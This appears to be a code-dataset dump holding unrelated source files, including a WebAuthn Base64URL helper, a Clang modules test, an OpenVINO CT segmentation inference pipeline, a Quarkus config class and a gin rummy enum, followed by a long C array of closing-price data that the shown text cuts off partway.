max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
409
<reponame>MasterKale/py_webauthn from base64 import urlsafe_b64decode def base64url_to_bytes(val: str) -> bytes: """ Convert a Base64URL-encoded string to bytes. """ # Padding is optional in Base64URL. Unfortunately, Python's decoder requires the # padding. Given the fact that urlsafe_b64decode will ignore too _much_ padding, # we can tack on a constant amount of padding to ensure encoded values can always be # decoded. return urlsafe_b64decode(f"{val}===")
173
3,102
// RUN: rm -rf %t // RUN: %clang_cc1 -fmodules -fmodules-cache-path=%t -fmodules-local-submodule-visibility -I%S/Inputs/no-linkage -fmodule-map-file=%S/Inputs/no-linkage/module.modulemap %s -verify #include "empty.h" namespace NS { int n; } // expected-note {{candidate}} struct Typedef { int n; }; // expected-note {{candidate}} int AliasDecl; // expected-note {{candidate}} int UsingDecl; // expected-note {{candidate}} namespace RealNS = NS; // expected-note {{candidate}} typedef int Struct; // expected-note {{candidate}} enum { Variable }; // expected-note {{candidate}} const int AnotherNS = 0; // expected-note {{candidate}} const int Enumerator = 0; // expected-note {{candidate}} static int Overloads; // expected-note {{candidate}} // [email protected]:1 {{candidate}} // [email protected]:2 {{candidate}} // [email protected]:3 {{candidate}} // [email protected]:4 {{candidate}} // [email protected]:5 {{candidate}} // [email protected]:6 {{candidate}} // [email protected]:7 {{candidate}} // [email protected]:8 {{candidate}} // [email protected]:9 {{candidate}} // [email protected]:10 {{candidate}} // [email protected]:11 {{candidate}} void use(int); void use_things() { use(Typedef().n); use(NS::n); use(AliasDecl); use(UsingDecl); use(RealNS::n); use(Struct(0)); use(Variable); use(AnotherNS); use(Enumerator); use(Overloads); } #include "decls.h" void use_things_again() { use(Typedef().n); // expected-error {{ambiguous}} use(NS::n); // expected-error {{ambiguous}} use(AliasDecl); // expected-error {{ambiguous}} use(UsingDecl); // expected-error {{ambiguous}} use(RealNS::n); // expected-error {{ambiguous}} use(Struct(0)); // expected-error {{ambiguous}} use(Variable); // expected-error {{ambiguous}} use(AnotherNS); // expected-error {{ambiguous}} use(Enumerator); // expected-error {{ambiguous}} use(Overloads); // expected-error {{ambiguous}} }
695
634
<filename>notebooks/110-ct-segmentation-quantize/async_inference.py<gh_stars>100-1000 import cv2 import numpy as np from collections import deque from os import PathLike import threading from omz_python.models import model as omz_model from pathlib import Path def sigmoid(x): return np.exp(-np.logaddexp(0, -x)) class CTAsyncPipeline: def __init__(self, ie, model, plugin_config, device="CPU", max_num_requests=0): # Enable model cachine for GPU devices if "GPU" in device and "GPU" in ie.available_devices: cache_path = Path("model/model_cache") cache_path.mkdir(exist_ok=True) ie.set_config({"CACHE_DIR": str(cache_path)}, device_name="GPU") self.model = model self.exec_net = ie.load_network( network=self.model.net, device_name=device, config=plugin_config, num_requests=max_num_requests, ) self.empty_requests = deque(self.exec_net.requests) self.completed_request_results = {} self.callback_exceptions = {} self.event = threading.Event() def inference_completion_callback(self, status, callback_args): request, id, meta, preprocessing_meta = callback_args try: if status != 0: raise RuntimeError("Infer Request has returned status code {}".format(status)) raw_outputs = {key: blob.buffer for key, blob in request.output_blobs.items()} self.completed_request_results[id] = (raw_outputs, meta, preprocessing_meta) self.empty_requests.append(request) except Exception as e: self.callback_exceptions.append(e) self.event.set() def submit_data(self, inputs, id, meta): request = self.empty_requests.popleft() if len(self.empty_requests) == 0: self.event.clear() inputs, preprocessing_meta = self.model.preprocess(inputs) request.set_completion_callback( py_callback=self.inference_completion_callback, py_data=(request, id, meta, preprocessing_meta), ) request.async_infer(inputs=inputs) def get_raw_result(self, id): if id in self.completed_request_results: return self.completed_request_results.pop(id) return None def get_result(self, id): result = self.get_raw_result(id) if result: raw_result, meta, preprocess_meta = result return self.model.postprocess(raw_result, preprocess_meta, meta), meta return None def is_ready(self): return len(self.empty_requests) != 0 def has_completed_request(self): return len(self.completed_request_results) != 0 def await_all(self): for request in self.exec_net.requests: request.wait() def await_any(self): if len(self.empty_requests) == 0: self.event.wait() class SegModel(omz_model.Model): def __init__(self, ie, model_path: PathLike, colormap: np.ndarray = None, resize_shape=None): """ Segmentation Model for use with Async Pipeline :param model_path: path to IR model .xml file :param colormap: array of shape (num_classes, 3) where colormap[i] contains the RGB color values for class i :param resize_shape: if specified, reshape the model to this shape """ super().__init__(ie, model_path) self.net = ie.read_network(model_path, model_path.with_suffix(".bin")) self.output_layer = next(iter(self.net.outputs)) self.input_layer = next(iter(self.net.input_info)) if resize_shape is not None: self.net.reshape({self.input_layer: resize_shape}) self.image_height, self.image_width = self.net.input_info[ self.input_layer ].tensor_desc.dims[2:] self.lut = None if colormap is not None: colormap = colormap.astype(np.uint8).reshape(20, 1, 3) self.lut = np.zeros((256, 1, 3), dtype=np.uint8) self.lut[:20, :, :] += colormap def preprocess(self, inputs): """ Resize the image to network input dimensions and transpose to network input shape with N,C,H,W layout. """ meta = {} image = inputs[self.input_layer] if image.shape[:2] != (self.image_height, self.image_width): image = cv2.resize(image, (self.image_width, self.image_height)) if len(image.shape) == 3: input_image = np.expand_dims(np.transpose(image, (2, 0, 1)), 0) else: input_image = np.expand_dims(np.expand_dims(image, 0), 0) return {self.input_layer: input_image}, meta def postprocess(self, outputs, preprocess_meta, meta): """ Convert raw network results into an RGB segmentation map with overlay """ alpha = 0.4 res = outputs[self.output_layer][0, 0, ::] result_mask_ir = sigmoid(res).round().astype(np.uint8) result_image_ir = np.repeat(np.expand_dims(result_mask_ir, -1), 3, axis=2) result_image_ir[:, :, 2] *= 255 meta.setdefault("frame", result_image_ir) rgb_frame = np.repeat(np.expand_dims(meta["frame"], -1), 3, 2) overlay = cv2.addWeighted(result_image_ir, alpha, rgb_frame, 1 - alpha, 0) return overlay
2,398
10,225
package io.quarkus.deployment.configuration.type; import java.util.Objects; import org.eclipse.microprofile.config.spi.Converter; /** * */ public final class Leaf extends ConverterType { private final Class<?> type; private final Class<? extends Converter<?>> convertWith; private int hashCode; public Leaf(final Class<?> type, final Class<?> convertWith) { this.type = type; this.convertWith = (Class<? extends Converter<?>>) convertWith; } @Override public Class<?> getLeafType() { return type; } public Class<? extends Converter<?>> getConvertWith() { return convertWith; } @Override public int hashCode() { int hashCode = this.hashCode; if (hashCode == 0) { hashCode = Objects.hash(type, convertWith); if (hashCode == 0) { hashCode = 0x8000_0000; } this.hashCode = hashCode; } return hashCode; } @Override public boolean equals(final Object obj) { return obj instanceof Leaf && equals((Leaf) obj); } public boolean equals(final Leaf obj) { return obj == this || obj != null && type == obj.type && convertWith == obj.convertWith; } }
511
1,735
''' Project: Gui Gin Rummy File name: player_type.py Author: <NAME> Date created: 3/14/2020 ''' import enum class PlayerType(enum.Enum): computer_player = 1 human_player = 2 demo_player = 3
92
322
<gh_stars>100-1000 double gDataClose[10000] = { 111.45,110,109.04,109.22,110.9,109.69,111.23,112.05,112.71,112.64,110.73,112.98,113.53,113.89, 111.89,113.23,112.04,110.65,114.52,115.62,116.53,118.1,116.17,116.38,114.81,115.86,111.08,110.77, 109.66,108.6,109.28,109.1,108.63,108.97,109.03,108.05,106.58,105.01,105.25,105.95,105.43,105.33, 105.1,104.44,106.6,106,106.5,105.33,105.09,103.85,103.12,102.34,103.22,103.07,101.8,102.41, 105.84,106.23,106.54,106.6,106.93,105.91,105.18,103.95,105.58,106.7,107.04,107.99,105.31,105.87, 104.83,105.57,105.98,104.68,104.38,103.29,103.16,102.96,102.8,102.22,103.17,102.21,101.17,100.9, 101.46,98.49,95.21,94.58,94.29,94.8,97.12,96.18,94.93,95.67,95.16,96.46,96.62,96.52, 96.21,96.1,95.21,94.26,94.57,94.26,94.73,95,95.03,95.19,95.36,94.5,93.99,93.25, 93.45,93.76,92.71,94.11,93.28,93,93.94,93.8,91.81,90.9,92.27,92.94,93.96,96.91, 97.73,98.5,99.09,99.35,98.99,98.92,99.2,98.29,98.58,98.55,99.62,99.54,99.85,100.38, 99.17,99,99.15,99.37,98.54,97.45,97.51,97.4,97.08,97.11,96.17,99.45,100.02,100.82, 99.34,98.65,98.89,100.07,98.9,97.42,98.31,97.27,97.15,96.97,97.2,95.66,95.25,95.91, 96,96,95.44,95.3,95.36,94.77,94.12,93.64,93.86,94.23,94.12,94.48,93.51,91.25, 91.92,91.52,91.35,91.45,93.35,93.52,93.08,93.25,93.81,93.47,93.11,93.29,92.07,91.76, 92.42,92.59,92.75,92.6,91.41,91.68,91.8,92.33,91.5,90.76,91.54,91.83,91.49,91.56, 90.48,89.86,89.82,86.95,86.71,86.08,84.7,84.19,84.19,84,83.14,82.92,83.1,81.65, 81.87,81.94,81.99,82.09,82.5,82,81.21,81.61,83.42,81.87,82.24,82.94,82.47,82.21, 82.28,80.93,80.66,79.4,80.28,80.85,81.41,80.97,81.22,81.4,80.32,79.88,79.38,78.67, 78.95,79.28,79.9,79.37,79.09,77.08,76.68,75.48,75.74,75.39,75.33,75.52,75.91,76.33, 76.32,76.14,77.41,76.96,76.15,75.83,75.89,75.99,74.86,75.48,76.07,74.26,73.7,73.57, 74.24,75.48,76.47,76.67,76.42,78.09,77.77,78.02,76.82,77.59,76.56,76.63,77.15,77.1, 77.19,78.3,77.99,77.67,77.95,78.56,77.71,76.93,77.02,77.63,77.03,79.15,79.76,79.06, 79.52,80.69,79.9,80.16,80.75,80.14,79.78,79.83,80.02,80.28,80.66,81.27,82.16,82.89, 82.39,82.46,82.9,83.23,82.89,83.28,82.43,82.7,82.42,82.23,82.34,83.88,83.35,82.67, 82.11,81.66,82.02,81.86,83.31,81.64,81.98,80.75,81.16,82.1,82.48,83.81,84.17,83.45, 83.06,82.47,83.2,83.13,82.43,83.08,83.36,83.2,84.45,83.81,83.58,83.3,82.87,83.38, 82.88,81.93,81.57,81.02,81.14,80.29,80,79.96,79.94,79.9,80.24,80.63,80.1,80.2, 81.35,80.5,80.71,80.91,80.85,81.09,80.44,81.33,80.4,80.8,79.85,79.51,79.97,81.23, 81.94,81.3,81.63,81.02,80.72,80.91,80.85,81.41,81.36,83.09,83.8,83,83.17,83.57, 84.17,84.07,83.73,84.95,82.5,81.95,82.06,82.2,82.4,83.04,82.99,83.48,83.22,83.12, 82.48,82.76,83.37,83.53,83.13,83.71,85.96,86.97,87.5,88.72,89.14,88.43,88.65,89.21, 88.9,89.1,89.11,88.8,88.8,87.99,87.29,87.77,86.89,86.54,85.53,84.36,84.55,83.99, 82.84,83.15,83.61,83,82.87,81.06,81.59,81.88,81.42,82.31,82.89,83.36,83.47,83.33, 83.17,84.17,83.48,82.59,82.35,82.2,82.19,83.19,81.25,80.5,79.7,79.82,80.11,80.45, 80.22,80.36,79.5,77.99,77.41,78,78.21,77.56,78.7,79.43,80.33,80.01,80.48,80.75, 81.48,81.44,80.8,80.98,81.02,79.46,79.54,80.62,80.54,81.34,80.38,81.1,81.32,82.03, 82.6,82.76,81.15,81.3,81.3,82.5,82.19,82.66,82.02,83.5,83.36,83.36,83.12,84.06, 83.31,83.43,83.46,83.8,83.87,84.12,84.2,84.44,84.4,84.6,83.7,81.81,82.38,82.42, 81.45,80.04,78.96,79.3,77.38,75.81,74.79,74.67,74.2,74.73,75.3,73.88,74.01,75.41, 77.23,76.41,76.55,76.39,77.05,76.3,74.89,75.05,74.77,74.93,74.8,75.04,75,75.79, 77.35,76.84,75.55,77.1,77.14,76,75.81,76.51,76.41,77.16,76.36,74.29,74.34,73.16, 72.62,73.28,73.3,74.98,75.26,75.5,77.08,76.47,76.51,76.38,75.91,77.05,75.43,74.61, 74.21,74.03,72.01,75.48,76.65,76.7,83.64,84.57,85.75,86.2,87.6,88.44,89,89.57, 90.32,90.44,91.38,90.68,90.6,91.04,90.7,90.52,89.5,89.51,89.28,89.86,90.65,91.38, 91.9,91.51,92.41,92.35,92.13,91.6,92.37,92.41,92.92,93.3,92.58,92.8,92.64,92.1, 92.32,93.27,93.75,94.62,94.33,93.57,93.3,92.76,92.7,94.13,94.53,94.51,93.54,94.3, 93.86,93.42,92.89,91.98,91.95,92.19,91.79,92.38,93,93.1,94.9,94.1,94.45,95.21, 95,95.68,95.78,96.2,96.5,96.7,97.75,98.58,98.3,98.18,98.3,97.5,97.72,97.61, 97.02,96.55,96.2,97.45,97.33,97.31,96.45,96.67,97.51,96.65,96.1,97.67,97.08,95.76, 95.88,94.24,95.5,94.72,95.46,95.28,95.11,94.45,95.1,95.46,94.89,95.92,95.32,94.79, 93.61,93.37,93.37,93.28,92.38,91.2,90.47,90.11,89.75,89.5,90,89,88.43,87.39, 88.1,88.82,89.37,85.92,84.85,84.78,84.98,86,86.63,86.71,87.42,88.04,87.32,87.16, 86.72,85.74,84.98,84.48,84.16,84.43,83.88,84.31,85.72,85.7,85.74,86.12,86.37,86.72, 86.49,86.76,86.44,85.86,84.97,84.39,84.57,84.22,84.69,84.4,84.94,84.69,85.07,84.71, 84.65,85.25,84.89,85.13,84.04,84.02,83.91,82.21,83.69,84.99,83.55,83.48,85.19,85.97, 85.71,86.69,87.07,86.77,85.85,85.88,85.09,84.85,86.06,85.3,86.36,85.3,84.28,84.02, 84.13,85.25,84.1,83.89,83.65,85.35,85.7,87.04,87.5,88.15,88.29,88.71,89.55,89.99, 90.79,90.02,89.49,90.06,90.44,90.38,90.54,90.07,90.46,90.09,90.04,88.64,87.56,87.35, 87.98,88.12,88.59,88.59,88.35,88.7,87.1,87.13,87.42,87.05,86.06,85.53,86.41,87.19, 86.81,87.13,86.88,88.19,88.36,88.96,89,88.02,88.17,89.08,90.41,91.11,90.43,91.28, 90.74,91.26,90.65,91.94,92.28,93.45,93.7,93.04,93.74,93.12,93.08,93.7,94.18,94.2, 92.37,91.84,92.32,92.68,92.77,92.39,91.77,91.32,91.02,91.62,92.85,93.39,92.45,91.82, 93.3,91.21,93.06,94.53,94.59,96.45,96.39,96.84,96.82,97.04,96.5,96.79,96.54,96.79, 95.96,97.31,97.8,98.42,99.37,99.71,99.3,99.96,99.61,98.95,98.94,98.86,100.19,100, 99.39,99.23,98.01,97.38,98.8,99.85,97.9,97.51,97.7,97.1,95.32,94.02,90.31,89.7, 91.55,91.21,93.04,92.78,93.06,93.05,91.55,92.68,92.63,93.52,92.9,92.27,92.79,93.39, 93.14,92.73,93.4,93.98,92.11,92.71,92.4,91.73,90.63,91.2,90.64,91.42,90.3,90.75, 91.01,90.54,89.91,89.43,89.66,88.63,88.39,89.4,88.95,89.8,90.25,91.09,90.69,89.36, 89.95,88.26,89.34,88.49,89.14,89.68,89.48,89.12,89.34,89.9,88.52,88.42,88.15,88.46, 88.93,89,89.23,89.28,92.74,92.72,93.2,92.67,92.45,92.66,91.7,91.18,90.64,90.08, 90.35,88.33,89.45,89.05,89.41,89.4,91.34,91.39,93.28,92,90.63,90.29,88.49,88.7, 87.92,87.84,89.42,89.1,86.95,87.91,86.33,85.76,82.01,81.9,82,82.5,81.96,82.97, 82.85,83.05,82.85,83.52,81.79,81.56,81.2,81.51,81.02,80.88,80.69,79.75,79.85,81.13, 81.27,81.25,80.96,81.8,82.54,83.55,81.51,82.3,81.85,82.5,83.72,83.33,86.74,86.44, 85.42,84.89,84.03,85.47,86.25,86.09,83.95,84.74,83.59,82.5,83.42,84.35,82.49,83.63, 83.18,84.92,84.55,84.7,84.3,84.5,82.75,83.95,83.97,81.71,82,80.05,81.9,84.25, 83.82,87.33,88.04,87.36,87.57,87.69,85.26,86.08,86.18,85.77,86.45,88.99,89.9,88.7, 89.98,89,87.55,86.05,86.68,87.51,86.52,87.57,85.89,84.9,85.66,85.12,83.88,85.2, 85.75,85.63,83.36,84.26,82.88,82.79,80.07,78.75,79.01,78.71,80.07,80.47,80.79,81.91, 81.46,78.73,78.43,80.85,81.45,81.55,83.45,82.25,84.9,82.2,82,82.47,82.46,79, 78.45,75.18,75.35,75.7,77.9,77.07,77.73,76.7,77.33,77.95,77.28,77.4,79.07,78.56, 79.95,79.15,79.51,79.33,77.45,75.86,76.5,77.39,77.91,77.1,77.51,77.26,77.09,78.18, 78.2,78.3,80.32,80.11,78.42,78.99,81.05,79.7,80.54,81.3,86.05,87.59,88.58,87.51, 87.68,87,84.19,86,83.59,81.65,80.57,77.5,76.25,77.36,78.5,79.76,80.26,79.79, 78.66,79.13,80.31,81.62,80,80.17,81.44,80.8,79.59,82.32,83.06,83.69,85.21,87.3, 86.92,87.7,85.06,86.2,84.43,84.9,81.61,78.37,79.18,80.01,80.72,79.35,79.15,77.29, 77.59,78.95,81.54,81.68,82.5,80.4,78.94,78.67,76.74,76.56,74.56,72.1,74.6,74.49, 75.55,74.25,72.2,64.9,68.48,63.42,63.92,57.58,55.07,57.05,56.86,56.6,60,59.63, 61.17,58.31,60.36,62.02,63.01,59.75,63.37,63.92,64.8,69.55,71.75,72.32,72.5,71.87, 74.2,75.6,74.5,73.2,72.18,73.73,72.35,75.38,76.62,76.06,77.96,79.42,80.4,81.99, 81,81.27,82.49,79.35,76.5,74.92,71.9,71.77,71.83,71.61,69.17,67.9,65.99,67.88, 68.25,70.4,71.79,71.18,66.4,69.35,69.54,67.05,68.5,72,72.05,70.69,69.01,71, 69.21,69.41,68.76,69.67,71.3,73.5,70.51,68.58,67.6,72,71.9,70.05,68.6,69.7, 68.75,71.58,73.35,75.94,77.14,76.17,75.6,74.65,75.49,76.8,78.3,79.66,80.55,79.31, 78.11,80.45,82.25,81.6,82.08,83.1,84.35,84,83.45,84.45,85.69,85.45,84.5,85.48, 82.19,79.68,79.93,82.45,76.5,76,81.78,83.86,84.3,83.76,83.89,84.71,86.71,86.5, 87.33,87.93,89,88.95,84.81,86.2,85.35,85.6,84.19,89.01,87.74,87.41,97.25,100.84, 99.96,100.95,102.86,104,103.39,102.9,103.56,105.6,106.78,105.5,107.49,106.35,106.79,106.6, 107.18,108.5,105.24,105.09,103.71,106.3,105.67,105.9,103.02,98.12,97.83,97.15,98.3,98.45, 96.38,99.31,101.3,102.89,107.89,108.07,106.57,107.38,104.99,103.91,106.63,106.3,106.8,108, 107.89,105.55,103,108.15,109.28,108.72,107.9,110.5,114.25,119.9,117.4,118.85,118.05,120.31, 122.14,124.49,124.7,124.05,125.6,123.66,121.5,120.96,122.9,123.5,122.4,121.45,122,122.7, 123.89,122.2,121.34,121.1,120.25,123.2,121.5,119.66,120.4,120.14,121.4,116.64,114.13,115.59, 114.43,112.15,114.2,116.33,115.35,114.34,115.44,115,114.5,114.75,114.35,116.7,114.86,114.08, 113.81,113.85,113.61,109.97,109.5,109.89,108.07,108.65,108.62,111.16,110.66,108.57,105.81,105.25, 102.65,101.26,102.9,101.85,102,100.84,99.4,97.25,97.14,98.5,98.02,97.31,96.95,93.77, 92.71,91.72,90,91.3,94.45,94.8,90.5,93.4,96,96.4,93.34,96.47,96.59,98, 100.35,101.49,99.95,100.36,104.13,104.95,106.86,106.99,103,103.96,101.89,104.1,104.59,105.75, 105.01,106.2,105.86,104.95,104.08,104.19,106.25,106.51,108.18,108.8,107.06,105.21,105.85,104.7, 106,104.89,104.51,105.85,105.7,104,104.28,108.53,107.82,108.53,107.25,103.85,101.96,104.72, 106.5,112.1,112.98,114.35,113.5,115.1,113.52,113.04,112.65,112.87,112.6,113.09,114.84,114.27, 113.6,115.75,116.54,117.25,117.36,116.1,117.25,117.5,116.97,113.64,112.89,111.8,112.65,115.27, 117.8,119.6,117.4,118.01,119.04,117.44,115.07,115.8,113.58,112.56,111.81,115.2,116.98,117.7, 115.9,115.86,113.7,115.4,118.51,115.14,116.2,113.74,114.85,112.67,112,114.83,114.47,106.5, 99.7,96.75,96.2,97.43,99.05,96,97.95,98.21,92,90.39,94.66,96.18,95.04,94.41, 99.5,95.4,93.51,89.1,89.08,88.3,92.6,90.1,95.56,94.96,98.39,95.49,99.29,106.47, 107.55,106,104.91,102.3,106.05,99.9,102.59,105.3,104,108.9,107.51,111.5,115,116.78, 115.1,113.75,114.9,112,114.1,116.91,114.19,112.22,110.27,114.05,112,116.61,114.98,114.19, 110.75,110.44,109.06,108.56,111.25,108.31,96.69,92.75,93.81,93.69,93.44,92.56,93.56,94, 93.19,94.62,84.81,85,85.25,84.69,84.81,89,81.56,86,90.12,90.5,87.81,92.44, 91.25,93.87,95,97,93.12,96.75,103.37,98.37,95.62,93.5,99.81,97.87,98.44,99.94, 98.5,98.5,103.25,101.94,98.25,99.37,99.5,97.44,93,99.44,100,102.31,100.31,100.12, 101.94,98.56,98.5,93.31,93.69,92.75,87.56,91.44,92.87,94.75,96.44,95.44,113,111.12, 109.06,103.12,112,114.87,117.94,116,113.19,114.37,110.56,117.81,112.62,115.25,118,119.12, 123,123.87,121.5,124.75,124.94,123.25,125,126.87,127.69,125,124.5,129.5,133.38,131.44, 131.19,133.63,132.02,130.31,132.88,131.5,129,124.81,123.25,121.37,121.44,120.44,122.5,122.37, 122,123.25,120.62,119.75,118.75,118.87,116.31,115.87,116,114.25,110.5,112.25,111.81,110.31, 109.87,112,112.5,114.75,117.25,108.75,103.31,105.5,103.94,104,104.62,102,103.31,105.06, 101.25,105,109.5,109.56,114,113.78,109.75,114.41,111.87,111.81,114.5,116.37,120.37,113.25, 116.81,116,119.31,118.84,119.69,119.75,121,112.37,112.81,108.81,106,107.31,110.94,106.94, 106.5,109.62,107.37,109.25,106.44,106.06,107.87,109,104.19,104.44,104.44,103,109,109.75, 107.87,107.62,108.12,111.37,112,111.5,110.62,110.5,112.5,106.5,104,105,111.5,111.87, 105,110.62,113.75,119.37,122.12,123.12,122.75,125,121.19,122,118.37,122.75,119,122.5, 126.87,120.62,115.25,114.25,113.5,112.75,110,109,107,108.62,107.69,105.25,108,106.25, 103,103.06,108,103.12,100.25,102.75,104.5,108,110.5,108.75,111,112.5,116.75,115.75, 117.12,116.06,115.37,119.12,117.37,118.81,114.12,115.62,117.12,113.5,110,112.25,111.56,113.5, 116.75,119.12,121.5,121.5,119,119.5,115.75,119.62,118.25,119.5,119,118,113.5,114, 116,112.06,116,107.87,108.75,109,109.81,109.75,108.62,108,110.12,109.2,110,109.19, 107,109.25,109.7,109,113.37,118.28,116.62,116,111.87,105.27,103.42,103.06,104.19,105, 104.5,106.06,107.87,103.94,98,93.75,94.62,94.06,95.87,95,97,93.62,93.94,90.25, 91.56,94.37,94.81,96.75,98.25,94.94,93,95.5,93.87,93.94,91,107,107.12,107, 107.87,107,105.06,110,114.25,113.5,116.37,119.19,122,119.87,117.75,121,120.06,123.5, 123,125,122,125.19,127.12,130.13,125.37,130,131.94,133.31,132.38,135,134.75,130.75, 132,128.86,125.87,127.25,124.56,123.19,124,122.94,122.37,122,124.44,121.75,122.94,123.87, 128.5,127.37,123.37,121.12,123.31,119.31,122.19,123.5,123.19,118.5,119.37,122.25,125.69,125.37, 128.38,126.25,123,124.81,123.87,129,128.25,134.63,136.25,136.31,137.25,137.88,137.81,137.38, 134,132.81,131,132.25,131,129.25,124.62,122.56,123.12,122.56,122.94,123.37,124.75,120.75, 120.19,120.69,115.87,115.5,114.31,115.25,117,116.62,120.5,116,112.94,113.75,112,116, 116,236.25,221.19,223.75,230.38,232.88,235.88,238.5,237.5,239.25,246,225.5,221,218.63, 217.25,209.25,212.13,212,212.25,209.19,204.81,205,212,209.88,199.75,194.5,171.88,169.75, 166.75,170.38,177.75,179.38,180,183.44,186.31,187,186.5,183,183.94,177,177.25,178.56, 177.88,172.38,171.31,169.5,165.38,167,168.56,177.63,178.06,181,182,178,182.88,181.5, 182.19,178.88,178.38,171,166.75,167.75,168.38,169.75,173.63,173.75,176.94,177.94,171.63,174.25, 170.5,172.5,172.75,178.5,168.88,162.75,167,166,169.56,175.25,176.75,179.75,183.25,178.69, 178.31,185.63,182,179.75,197,194.5,192.25,184.94,180.63,185.5,185.06,189.25,187.56,190.19, 188.75,189.63,183,184.38,186.75,187.13,189.25,187.94,185,182.25,176.38,171.56,166.06,164.38, 165,162.88,168,165,169.44,168.19,167.19,164.25,163.5,167.44,169.88,165.13,170,166.75, 165.25,166.56,160.13,158.56,159,158,159.38,157.44,157.88,157.13,156,151.38,149.94,149, 147.88,147.38,148.38,148.5,148.75,146.19,144.38,143.06,141.56,141.81,142.69,137.88,139.38,135.94, 136.5,130.5,128.19,130.88,127.31,123.5,120.75,119.25,120.25,124.81,125.37,128.5,131.44,133.63, 133.5,130.56,132.06,127.75,128.19,124.69,126.75,130.5,130,129.13,126.56,122.5,123.5,125.94, 119.37,121.75,120.5,117.94,112.62,122.56,125.25,130.88,128.44,128.56,127.87,128.06,129.94,128.88, 125.12,125.37,126.19,128,128.5,129.88,129.13,129.75,128.75,126.81,132.75,132.5,133.38,127.87, 125.44,125.5,124.25,123.87,127.44,128.13,122,120.19,118.37,117,119.62,119.37,118.5,117.06, 115,113.87,113.69,115.19,116.75,114.81,114.12,113,112.44,112,111.75,108.12,106.12,108.81, 111,110,112.25,116.25,116,117.25,119.25,118.81,118.87,116.06,113.87,115.56,117.19,117.5, 120.06,120.25,121,121.94,123.62,123.5,125,124.62,124.94,125.81,121.87,119.62,119.31,120, 117.12,117.25,117.81,116.62,116.87,115.87,115.56,115.69,115.31,117.37,117.5,114.75,118,111.19, 107.75,107.81,109.75,106.25,104.19,106.37,104.5,104.69,106,104.69,105.81,104.44,103.87,103.25, 104.37,105.06,106,103.5,101.37,102.06,102.87,101.56,100.87,101.25,99.62,100.25,99.12,97.5, 96.12,98.12,98.94,99,102.12,101.94,104.44,105.5,105.25,102.5,102.87,102.62,102.75,102.75, 102,102.37,102.87,102.69,100.87,98,98,99.56,98.31,99.37,100.56,98.75,98.19,97, 96.5,98.12,99.19,99.37,100.12,108.37,105,103.44,102.62,102.12,100.12,100.06,104.19,104.25, 105.25,106.44,105.62,104.62,103.12,102.75,101.69,99.12,98.62,102.56,102.12,100,102,103.75, 100.87,100.37,101.62,106.5,110.37,112.87,112.25,109.25,110.37,110.75,112.56,109.5,109.75,107.37, 103.12,105.56,104.75,103.06,102.12,103.5,101.5,99.12,96.62,99,97.69,99.5,101.06,102.75, 101.94,101.62,98.5,95.81,98.25,99.37,90,98,100.37,105.12,105.19,97.5,95.44,99.87, 101.69,103.31,104.5,104.94,104.62,105.25,106.81,104.81,104.31,104.56,103.5,106,105,102.62, 101.62,101.56,103.25,103.87,99.25,98.75,99.62,99.62,96.25,97.75,98,97,100,102.87, 103.62,103.75,103.56,104.06,101.37,101.12,103.87,103.31,105,106.37,105.75,108,107.94,104, 99.94,103.62,104.37,103.44,103,105.25,107.37,107.87,106.5,106.25,104.75,105.75,106,102.87, 105,107,107.81,105.12,103,103.75,104.5,99.62,97.62,96,95.25,95.75,95.75,96.19, 95.75,94.5,94.81,93.44,91.81,90.25,91.25,90.62,91.87,91.81,87.75,89.87,89.62,89, 89.87,89.25,89,88.12,87.12,86.25,86.87,85.62,82.87,83.37,84.37,87.12,86.5,87.75, 90.12,179.25,173.38,172.5,175.13,173.75,168.75,170,173.88,173.88,173.63,173.5,167.5,167.38, 162.13,165.5,166.13,162.13,161.38,160.5,158.38,150.38,150.75,153.63,142.38,140,137.38,139.75, 137.75,137.5,137.88,136.5,133.38,133,133.13,136.63,132.5,129.25,131.13,133.75,136.75,137.25, 137,140.25,135.88,136.75,132.5,136.88,137.88,139.38,139.5,143.63,142.88,144.88,146,146.13, 144.75,146.63,145.5,144.88,145.13,143.75,143,146.88,146.5,143.88,137.63,141.25,143.63,145.25, 145,146.38,145,145.25,142.75,148.75,146,148.75,153.63,154.88,156.88,157.25,156.38,150.75, 145.75,150.5,151.75,158,168,167,165.25,165.5,164.63,167.02,163.88,163,161.88,159.88, 163.38,161.25,159.13,153.25,151.5,153.63,155.13,155.75,155.75,154.25,154.63,158.13,158.63,151.88, 148.63,152.88,151.63,156.13,157.75,160,155.63,158.5,162,162.63,163,159.38,158.13,158, 157.63,158.5,154.13,152.63,154.13,146.75,145,136.88,134.75,133.25,134.5,134.38,133.75,133.38, 130.25,128.75,127.5,129,126.37,125.62,127.37,126.5,127.37,129.25,127,130.13,129.38,125.62, 127.62,129.5,130,129.88,127.75,126.25,128.38,127.87,126.62,125,125.87,123.75,124.5,124.75, 124.37,126.5,124.12,124.25,123,123.5,124.5,123.62,122.75,122.12,117.25,118,118.12,117.62, 115.5,113.12,114.62,115.25,114.37,115.12,115,111.75,112.5,113,112.62,112.25,110.5,110, 110,110.87,111.25,109.37,112.12,112.37,113.5,112.62,109.62,109.25,108.87,107.25,107.5,107.37, 104.75,103.87,103.62,91.75,90.25,92.5,93.75,94.25,94.12,95.75,90.87,95.31,96,98.87, 99,98.37,97.87,98.5,100,101.5,99,98.87,98.62,99.75,99.62,98.62,100.75,102.12, 101.25,102.5,101.62,103.25,103,103.12,102.62,101.75,101.25,104.87,105.87,105.37,106.75,107.25, 106.87,108.25,108.75,109.25,110.37,111,112.12,110.87,108.62,109,108.62,107.62,106.37,107, 105.87,105.87,107,108.12,107.87,107.87,107.75,108.62,107.75,108.25,106.75,107,107.25,105.37, 105.5,105.25,115.5,114.12,111.5,117.5,116,117.87,119.37,117.75,119.75,117.62,110.37,111.25, 109.75,111.25,110.75,108.75,114.25,114.87,117,121.75,124.62,119.87,116.87,115.87,114.25,117.25, 114.25,117.12,117,119,116.12,118.12,122.62,127.37,128.75,124.87,125.62,124.12,120.25,119.12, 118,117.62,114.25,113.62,115.25,113.5,113.5,112.62,114.75,112.25,109.62,109,108.5,108.62, 106.5,104.75,104.12,107,103,102.25,102,96.25,87.62,87,83.12,86.37,87.25,87.25, 86.75,89.12,88.62,86.87,89.25,90.87,91.37,90.12,92,91.75,91.25,90.87,89.37,91.87, 89,90.25,93.75,94.5,95.37,96.25,96.87,94.75,95.75,95.75,96.12,94.75,96.62,97.12, 97,95.87,95.87,95.25,94.5,93,95.12,95.62,95.5,95.37,97.37,97.37,98.37,97.75, 98.75,100.5,101.5,99.62,96.87,97.25,98.25,96.5,95.87,96.12,98,99,95.37,98.25, 